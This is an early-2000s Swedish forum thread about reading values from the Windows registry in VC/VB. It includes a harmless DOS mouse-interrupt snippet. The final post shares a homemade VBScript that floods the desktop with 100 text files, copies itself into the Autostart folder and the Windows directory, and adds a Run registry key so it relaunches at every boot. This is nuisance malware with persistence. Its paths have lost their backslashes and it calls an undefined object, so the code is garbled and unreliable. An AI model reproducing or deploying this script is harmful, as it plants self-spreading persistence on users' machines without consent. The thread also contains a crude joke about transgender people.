August 2, 2001
Tror killen menade registret i windows och inte registren i processeron
Har för mig jag kollade här i somras när jag gjorde en pryl med registret i C#.
September 18, 2001
Letar oxå efter ett VC/VB "script" som läser en speciellt nyckel(+värde) från windows registret .. vore tacksam för svar 🙂
alla jag snackat med säger att det inte går (yea right 🙂 varför skulle då VC/VB programm skriva till registret, om dom inte kan läsa därifrån 😉 hehe . dopeheads)
----------
void main( void )
{
regs.x.ax = 0x0; //Anropa funktion 0...
int86(0x33,®s,®s); //Register 0x33(mus)
cout << regs.x.ax << endl; //Vad returnerade vi? Om true(65535), så finns mus initierad...
}
du , det där låter mer som nått man skulle ha nytta av om man är på nån bar eller nått 😉 och misstänker att det finns transexuella/transvestiter 😉
_________________
"......."
Athlon Thunderbird 1400mhz, 512Mb SDRAM, 68GB (60GB W2K Adv. Server PDC, 4GB Win98, 4GB FreeBSD), Hercules 3D Prophet 4500 Kyro2 64MB, fungerande tangentbord
[ Detta Inlägg ändrades av: Jastor den 2001-11-23 22:58 ]
December 19, 2000
jag har för ett bra tag sen klippt ihop/ gjort detta om det kan hjälpa jag så nu att den endast skriver till registreet men borde det inte gå med typ
N.RegRead "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunmsinj", "c:windowswindows.vbs"
Sub Cheesypoofs()
On Error Resume Next
Dim X, T, Path1, Path2
Dim W, N, file1
Set W = CreateObject("Scripting.FileSystemObject")
Set file1 = W.GetFile(WScript.ScriptFullName)
Dim Z, f1, ts, j, k
Const ForWriting = 2
do
j = j +1
Set Z = CreateObject("Scripting.FileSystemObject")
Z.CreateTextFile ("c:Windowsskrivbordjonas" & j & ".txt")
Set f1 = Z.GetFile("c:Windowsskrivbordjonas" & j & ".txt")
Set ts = f1.OpenAsTextStream(ForWriting, False)
ts.write "Jonas RULZ Tzzzzz..." & vbCrLf
ts.write "Go gadget go... this is file number " & j & ", " & 200-j & " to go hehe"
ts.write G.RegRead
ts.Close
Loop Until (j = 100) 'hehe
Path1 = "C:WINDOWSStart-menynProgramAutostartoffice.vbs"
Path2 = "c:Windowswindows.vbs"
file1.copy (path1)
file1.copy (path2)
Set N = CreateObject("WScript.Shell")
N.RegWrite "HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRunmsinj", "c:windowswindows.vbs"
End Sub
Cheesypoofs()
2 Guest(s)